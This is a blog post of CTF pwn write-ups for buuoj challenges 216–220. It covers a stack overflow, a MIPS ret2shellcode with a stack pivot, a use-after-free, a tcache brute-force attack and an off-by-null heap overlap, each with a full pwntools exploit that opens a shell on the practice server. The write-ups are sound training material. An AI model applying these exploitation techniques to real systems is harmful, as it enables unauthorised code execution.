buuoj Pwn writeup 216-220

原创

yongbaoii 于 2021-08-31 08:06:35 发布 74 收藏

分类专栏： CTF 文章标签： 网络安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/119091353

216 hwb2018_gettingstart

```
RELRO           STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled   PIE enabled   No RPATH   No RUNPATH   No Symbols     ^[OAYes        0              2       ./216
```

```
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 buf[3]; // [rsp+10h] [rbp-30h] BYREF
  __int64 v5; // [rsp+28h] [rbp-18h]
  double v6; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  buf[2] = 0LL;
  v5 = 0x7FFFFFFFFFFFFFFFLL;
  v6 = 1.7976931348623157e308;
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("HuWangBei CTF 2018 will be getting start after %lu seconds...\n", 0LL);
  puts("But Whether it starts depends on you.");
  read(0, buf, 0x28uLL);
  if ( v5 == 0x7FFFFFFFFFFFFFFFLL && v6 == 0.1 )
  {
    printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", v6);
    system("/bin/sh");
  }
  else
  {
    puts("Try again!");
  }
  return 0LL;
}
```


溢出覆盖就好，唯一有个浮点数，网上网站一大把，找一个转换一下就好。

exp

```python
from pwn import *

context(log_level='debug')

r=remote("node4.buuoj.cn","25539")

r.recv()

v7=0x7FFFFFFFFFFFFFFF
v8=0x3FB999999999999A

payload='a'*0x18+p64(v7)+p64(v8)

r.send(payload)

r.recv()

r.interactive()
```

217 axb_2019_mips

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE        No RPATH   No RUNPATH   82 Symbols    No      0              6            ./217
```

看这题目，一道mips。
但是其实保护一点没开。

IDA反编译不了，我也懒得下载ghidra，汇编好像不多，直接读汇编吧。

mips的函数调用规则其实看这四句汇编就够了。

```
addiu   $sp, -0x38
sw      $ra, 0x30+var_s4($sp)
sw      $fp, 0x30+var_s0($sp)
move    $fp, $sp
```

addiu就是加
sw就是把寄存器里的值放到对应寄存器的偏移处。

这四句话啥意思。
首先sp寄存器-0x38.就是新开了栈。
把ra寄存器，也就是返回地址的值放到sp寄存器加0x30+4的地方。
把fp寄存器，也就是栈底指针寄存器的值放到sp寄存器加0x30的地方。
然后fp寄存器更新为sp寄存器的值。

一会变量啥的都是用fp寄存器去寻找。

一共三个函数，第一个是main，第二个是vuln，还有一个专门的gadget函数。

首先看main

```
sw      $gp, 0x30+var_20($sp)
li      $a0, 0x3C  # '<'  # seconds
la      $v0, alarm
move    $t9, $v0
jalr    $t9 ; alarm
nop
lw      $gp, 0x30+var_20($fp)
la      $v0, stdin
lw      $v0, (stdin - 0x410BAC)($v0)
move    $a1, $zero        # buf
move    $a0, $v0          # stream
la      $v0, setbuf
move    $t9, $v0
jalr    $t9 ; setbuf
nop
lw      $gp, 0x30+var_20($fp)
la      $v0, stdout
lw      $v0, (stdout - 0x410BC0)($v0)
move    $a1, $zero        # buf
move    $a0, $v0          # stream
la      $v0, setbuf
move    $t9, $v0
jalr    $t9 ; setbuf
nop
lw      $gp, 0x30+var_20($fp)
li      $a2, 0x14         # n
```


一进来首先是alarm函数跟三个setbuf函数。平平无奇。

```
nop
lw      $gp, 0x30+var_20($fp)
lui     $v0, 0x40  # '@'
addiu   $a0, $v0, (aWelcomeToMipsP - 0x400000)  # "Welcome to MIPS pwn!"
la      $v0, puts
move    $t9, $v0
jalr    $t9 ; puts
nop
lw      $gp, 0x30+var_20($fp)
lui     $v0, 0x40  # '@'
addiu   $a0, $v0, (aWhatSYourName - 0x400000)  # "What's your name: "
la      $v0, puts
move    $t9, $v0
jalr    $t9 ; puts
nop
lw      $gp, 0x30+var_20($fp)
li      $a2, 0x14         # nbytes
addiu   $v0, $fp, 0x30+var_18
move    $a1, $v0          # buf
move    $a0, $zero        # fd
la      $v0, read
move    $t9, $v0
jalr    $t9 ; read
nop
lw      $gp, 0x30+var_20($fp)
addiu   $v0, $fp, 0x30+var_18
move    $a1, $v0
lui     $v0, 0x40  # '@'
```


两个输出跟一个输入函数。

输入看的出来开的栈大小是0x18，因为addiu是加法指令，$fp可以理解成ebp寄存器。

```
nop
lw      $gp, 0x30+var_20($fp)
addiu   $v0, $fp, 0x30+var_18
move    $a1, $v0
lui     $v0, 0x40  # '@'
addiu   $a0, $v0, (aHelloS - 0x400000)  # "Hello!, %s"
la      $v0, printf
move    $t9, $v0
jalr    $t9 ; printf
nop
lw      $gp, 0x30+var_20($fp)
jal     vuln
nop
lw      $gp, 0x30+var_20($fp)
move    $v0, $zero
move    $t9, $s2
lw      $ra, 0x30+var_s4($sp)
lw      $fp, 0x30+var_s0($sp)
addiu   $sp, 0x38
jr      $ra
nop
 # End of function main
```


然后就是一句输出并且进入了vuln函数。

```
var_28= -0x28
var_20= -0x20
var_s0=  0
var_s4=  4

addiu   $sp, -0x40
sw      $ra, 0x38+var_s4($sp)
sw      $fp, 0x38+var_s0($sp)
move    $fp, $sp
li      $gp, 0x418B00
sw      $gp, 0x38+var_28($sp)
li      $a2, 0x200        # nbytes
addiu   $v0, $fp, 0x38+var_20
move    $a1, $v0          # buf
move    $a0, $zero        # fd
la      $v0, read
move    $t9, $v0
jalr    $t9 ; read
nop
lw      $gp, 0x38+var_28($fp)
nop
move    $sp, $fp
lw      $ra, 0x38+var_s4($sp)
lw      $fp, 0x38+var_s0($sp)
addiu   $sp, 0x40
jr      $ra
nop
 # End of function vuln
```


这个函数里面有个输入，明显看到栈开了0x20，然后可以输入0x200.
所以栈溢出我们研究怎样突破它

因为没有开NX，所以我们其实可以直接ret2shellcode，栈迁移来做。
不可以ret2libc，因为没有给libc。

所以就栈迁移到bss上，然后ret2shellcode一套带走就好了。
栈迁移呢做的是我们不太常见的那种，因为只有一次read的机会，所以我们返回地址必须填写带read的函数。但是如果直接写vuln函数，vuln在开始时会有一段开栈的操作，这一下会再把$fp带回来，所以我们只能从这个函数一半read函数处截胡。读shellcode到bss上，然后写好返回地址就可以了。

exp

```python
# -*- coding: utf-8 -*-
from pwn import *

r = remote('node4.buuoj.cn',27128)

bss = 0x410b70
read_addr = 0x4007e0
r.sendafter("What's your name:","YOngibaoi")

shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')

payload = 'a'*0x20
payload += p32(bss + 0x200 - 0x40 + 0x28)
#bss往下拉了0x200，防止一会输入影响bss上面正常内容
payload += p32(read_addr)

r.send(payload)

sleep(1)
payload = 'a'*0x24

payload += p32(bss + 0x200 + 0x28)
payload += shellcode
r.send(payload)

r.interactive()
```

218 铁人三项(第五赛区)_2018_breakfast

```
RELRO          STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO     No canary found   NX enabled   No PIE       No RPATH   No RUNPATH   81 Symbols    No      0              2            ./218
```

crea

```
  v4[0] = 0;
  puts("Enter the position of breakfast");
  while ( ((unsigned int)_isoc99_scanf("%u%c", v4, &v3) != 2 || v3 != 10) && (unsigned int)clear_stdin() )
    ;
  if ( v4[0] > 0x63 )
    return puts("Bad position");
  puts("Enter the size in kcal.");
  while ( ((unsigned int)_isoc99_scanf("%u%c", (char *)&ptr + 4 * v4[0] + 800, &v3) != 2 || v3 != 10)
       && (unsigned int)clear_stdin() )
    ;
  if ( *((_DWORD *)&ptr + v4[0] + 200) > 0x70u )
    return puts("Bad size.");
  v0 = v4[0];
  v1 = malloc(*((unsigned int *)&ptr + v4[0] + 200));
  result = v0;
  *(&ptr + v0) = (size_t)v1;
  return result;
`
```


结构还是比较简单的，都在bss上。

ptr指针，最多100个chunk，然后先是100个addr，又跟着100个size。

modify

```
{
  char v1; // [rsp+Bh] [rbp-5h] BYREF
  unsigned int v2; // [rsp+Ch] [rbp-4h] BYREF

  v2 = 0;
  puts("Introduce the menu to ingredients");
  while ( ((unsigned int)_isoc99_scanf("%u%c", &v2, &v1) != 2 || v1 != 10) && (unsigned int)clear_stdin() )
    ;
  if ( v2 > 0x63 )
    return puts("Bad position");
  puts("Enter the ingredients");
  return read(0, (void *)*(&ptr + v2), *((unsigned int *)&ptr + v2 + 200));
}
```


就是用来往里面读内容。

ver

```
{
  int result; // eax
  char v1; // [rsp+Bh] [rbp-5h] BYREF
  unsigned int v2; // [rsp+Ch] [rbp-4h] BYREF

  v2 = 0;
  puts("Enter the breakfast to see");
  while ( ((unsigned int)_isoc99_scanf("%u%c", &v2, &v1) != 2 || v1 != 10) && (unsigned int)clear_stdin()
    ;
  if ( v2 > 0x63 )
    result = puts("Bad position");
  else
    result = write(1, *(const void **)*(&ptr + v2), *((unsigned int *)&ptr + v2 + 200));
  return result;
}
```


就是输出
我看半天，我发现这个write不大对劲。
它输出的不是我们平常的“内容”，而实[内容]。

libera

```
void libera()
{
  char v0; // [rsp+Bh] [rbp-5h] BYREF
  unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

  v1 = 0;
  puts("Introduce the menu to delete");
  while ( ((unsigned int)_isoc99_scanf("%u%c", &v1, &v0) != 2 || v0 != 10) && (unsigned int)clear_stdin() )
    ;
  if ( v1 > 0x63 )
    puts("Bad position");
  else
    free((void *)ptr[v1]);
}
```


显然有uaf。

因为show的原因，本来可以直接释放八个chunk然后泄露，但是这个就直接read进去got表的地址，write出来就可以泄露。

然后劫持free_hook就好了。

exp

```python
from pwn import *

context.log_level = "debug"

r = remote("node4.buuoj.cn","26075")
#r = process("./218")

elf = ELF('./218')
libc = ELF('./64/libc-2.27.so')

def create(pos,size):
    r.sendlineafter('5.- Exit', "1")
    r.sendlineafter('Enter the position of breakfast', str(pos))
    r.sendlineafter('Enter the size in kcal.', str(size))

def read(index, context):
    r.sendlineafter('5.- Exit', "2")
    r.sendlineafter('Introduce the menu to ingredients', str(index))
    r.sendlineafter('Enter the ingredients', context)

def write(index):
    r.sendlineafter('5.- Exit', "3")
    r.sendlineafter('Enter the breakfast to see', str(index))


def delete(index):
    r.sendlineafter('5.- Exit', "4")
    r.sendlineafter('Introduce the menu to delete', str(index))

write_got = elf.got['write']

create(1, 8)
read(1, p64(write_got))

write(1)
write_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
libc_base = write_addr - libc.sym['write']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
print "libc_base = " + hex(libc_base)

create(1, 96)
create(2, 96)
read(2, "/bin/sh\x00")

delete(1)

read(1, p64(free_hook))

create(1, 96)
create(1, 96)

#gdb.attach(r)

read(1, p64(system_addr))
delete(2)

r.interactive()
```

219 ciscn_2019_sw_7

```
RELRO          STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO     Canary found      NX enabled   PIE enabled   No RPATH   No RUNPATH   No Symbols     Yes    0              2            ./219
```

add

```
int new()
{
  int i; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  _QWORD *v3; // [rsp+8h] [rbp-8h]

  for ( i = 0; i <= 9 && qword_202040[i]; ++i )
    ;
  if ( i > 9 )
    return puts("Note list is full.");
  printf("The size of note:");
  v2 = sub_B21();
  if ( v2 > 0x60 )
    return puts("Too large note.");
  v3 = malloc(v2 + 8LL);
  *v3 = v2;
  printf("The content of note:");
  sub_A60(v3 + 1, *v3, 10LL);
  qword_202040[i] = v3;
  printf("What's this?[%03lX]\n", (unsigned __int16)v3 & 0xFFF);
  return puts("Done.");
}
```


最多十个chunk。

size最大0x60.

申请到的chunk会自动多加8个，前八个字节存放size。

然后chunk地址会放在bss数组中。

会把地址最后一个半字节输出出来，不知道有啥用。

我们发现，这里的size没有限制我们能不能输入0或者负数

经过我们看那个输入函数的时候，我们看到size输入0的时候会造成溢出。

show

```
int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("Index:");
  v1 = input_num();
  if ( v1 < 0 || v1 > 9 || !address_array[v1] )
    return puts("Invalid index");
  printf("%d : %s\n", (unsigned int)v1, (const char *)(address_array[v1] + 8LL));
  return puts("Done.");
}
```


输出也是平平无奇的。

没有edit

free

```
int del()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("Index:");
  v1 = input_num();
  if ( v1 < 0 || v1 > 9 || !address_array[v1] )
    return puts("Invalid index.");
  free((void *)address_array[v1]);
  address_array[v1] = 0LL;
  return puts("Done.");
}
```


那么其实我们这个题目可以利用的只有那个溢出。

那么溢出我们首先要考虑去泄露地址，大小限定了不能大于0x60，所以我们没有机会去将chunk挂在unsorted bin中。
我们需要通过溢出构造一个比较大的chunk，但是我们问题又来了，我们需要攻击tcache的头，不然还是挂不进去。

所以我们就首先通过溢出，通过爆破，来攻击表头，将chunk挂进unsorted bin中，再泄露地址，相同手法攻击malloc_hook就可以了。
当然free_hook啥的都可以。

exp

```
#coding:utf8
from pwn import *

libc = ELF('./64/libc-2.27.so')

def add(size,content):
    r.sendlineafter('>','1')
    r.sendlineafter('The size of note:',str(size))
    r.sendlineafter('The content of note:',content)

def show(index):
    r.sendlineafter('>','2')
    r.sendlineafter('Index:',str(index))

def delete(index):
    r.sendlineafter('>','4')
    r.sendlineafter('Index:',str(index))

def exp():
    add(0,'a')
    add(0x50,'b')
    add(0,'c')
    add(0x50,'d')
    add(0x50,'e')
    delete(4)
    delete(3)
    delete(2)
    add(0,'c'*0x8 + p64(0) + p64(0x61) + p8(0x1B - 8)) #2
    add(0x50,'d') #3
```

```
    add(0x50,'\x00' + p8(0xFF)) #4
    payload = 'a'*0x8 + p64(0) + p64(0x60 + 0x20 + 0x61)
    delete(0)
    add(0,payload) #0
    delete(1)
    add(0x20,'b') #1
    add(0x20,'b') #5
    show(2)
    r.recvuntil('2 : ')
    malloc_hook = (u64(r.recv(6).ljust(8,'\x00')) & 0xFFFFFFFFFFFFF000) + (libc.symbols['__malloc_hook'] & 0xFFF)
    libc_base = malloc_hook - libc.symbols['__malloc_hook']
    if libc_base >> 40 != 0x7F:
        raise Exception('error leak!')
    one_gadget = libc_base + 0x10a38c
    print 'libc_base=',hex(libc_base)

    #3放入tcache bin
    delete(3)
    add(0x60,'c'*0x18 + p64(malloc_hook-0x8)) #3
    add(0x50,'c')
    add(0x50,p64(one_gadget))

    r.sendlineafter('>','1')
    r.sendlineafter('The size of note:','1')

while True:
    try:
        global r
        r = remote('node4.buuoj.cn',29019)
        exp()
        r.interactive()
    except:
        r.close()
        print 'trying...'
```

220 gwctf_2019_chunk

```
RELRO          STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO     Canary found      NX enabled   PIE enabled   No RPATH   No RUNPATH   89 Symbols    Yes     0              6            ./220
```

add

```
_isoc99_scanf(&unk_1108, &v1);
result = v2;
if ( v2 >= 0 )
{
  result = v2;
  if ( v2 <= 9 )
  {
    result = number;
    if ( number <= 10 )
    {
      if ( v1 < 0 || v1 > 255 )
      {
        result = puts("too large!");
      }
      else
      {
        v3 = v2;
        chunk[v3] = malloc(v1);
        size[v3] = v1;
        ++number;
        result = puts("Done!\n");
      }
    }
  }
}
return result;
```


最多十个chunk，大小也不能太大。

show

```
char nptr; // [rsp+3h] [rbp-Dh] BYREF
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Which book do you want to show?");
read_0(&nptr, 16LL);
v2 = atoi(&nptr);
printf("Content: %s", (const char *)chunk[v2]);
return __readfsqword(0x28u) ^ v3;
```


show就是普通show

delete

```
__int64 delete()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v1 = 0;
  puts("Which one to throw?");
  _isoc99_scanf(&unk_1108, &v1);
  if ( v1 > 10 || v1 < 0 )
    return (unsigned int)puts("Wrong!\n");
  free((void *)chunk[v1]);
  chunk[v1] = 0LL;
  --number;
  return (unsigned int)puts("Done!\n");
}
```


也就是free。也清空了。

edit

```
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Which book to write?");
  _isoc99_scanf(&unk_1108, &v1);
  printf("Content: ");
  read_0(chunk[v1], size[v1]);
  return puts("Done!\n");
}
```


平平无奇edit

漏洞在何方。
原来它把它的输入函数叫了个read_0，我一直以为是read。

看看read_0

```
unsigned __int64 v5; // [rsp+38h] [rbp-8h

v5 = __readfsqword(0x28u);
for ( i = 0; (int)i < a2; ++i )
{
  read(0, buf, 1uLL);
  if ( buf[0] == 10 )
    break;
  *(_BYTE *)(a1 + (int)i) = buf[0];
}
*(_BYTE *)((int)i + a1) = 0;
return i;
}
```


显然有个off by null。

所以我们就off by null制造overlap，因为ubuntu16，攻击malloc_hook就好。

exp

```python
# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"

#r =process("./220")
r = remote("node4.buuoj.cn", "28020")

elf = ELF('./220')
libc = ELF("./64/libc-2.23.so")

def add(index, size):
    r.sendlineafter("Your choice: ", "1")
    r.sendlineafter("Give me a book ID: ", str(index))
    r.sendlineafter("how long: ", str(size))

def free(index):
    r.sendlineafter("Your choice: ", "3")
    r.sendlineafter("Which one to throw?\n", str(index))

def edit(index, content):
    r.sendlineafter("Your choice: ", "4")
    r.sendlineafter("Which book to write?", str(index))
    r.sendafter("Content: ", content)  #这个地方也要用send.

def show(index):
    r.sendlineafter("Your choice: ", "2")
    r.sendlineafter("Which book do you want to show?", str(index))

add(0, 0xf8) #0
add(1, 0x68) #1
add(2, 0xf8) #2
add(3, 0x10) #3
free(0)
edit(1, "a" * 0x60 + p64(0x170))
```

```
free(2)
add(0, 0xf8) #0
show(1)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook']
 & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + 0x4526a
print "libc_base = " + hex(libc_base)

add(4, 0x68) #4
free(4)
edit(1, p64(malloc_hook - 0x23) + '\n')
add(4, 0x68) #5
add(5, 0x68) #6
edit(5, 'a' * 0xb + p64(one_gadget) + p64(realloc + 13) + '\n')



add(7, 0x88) #success!

r.interactive()




'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
```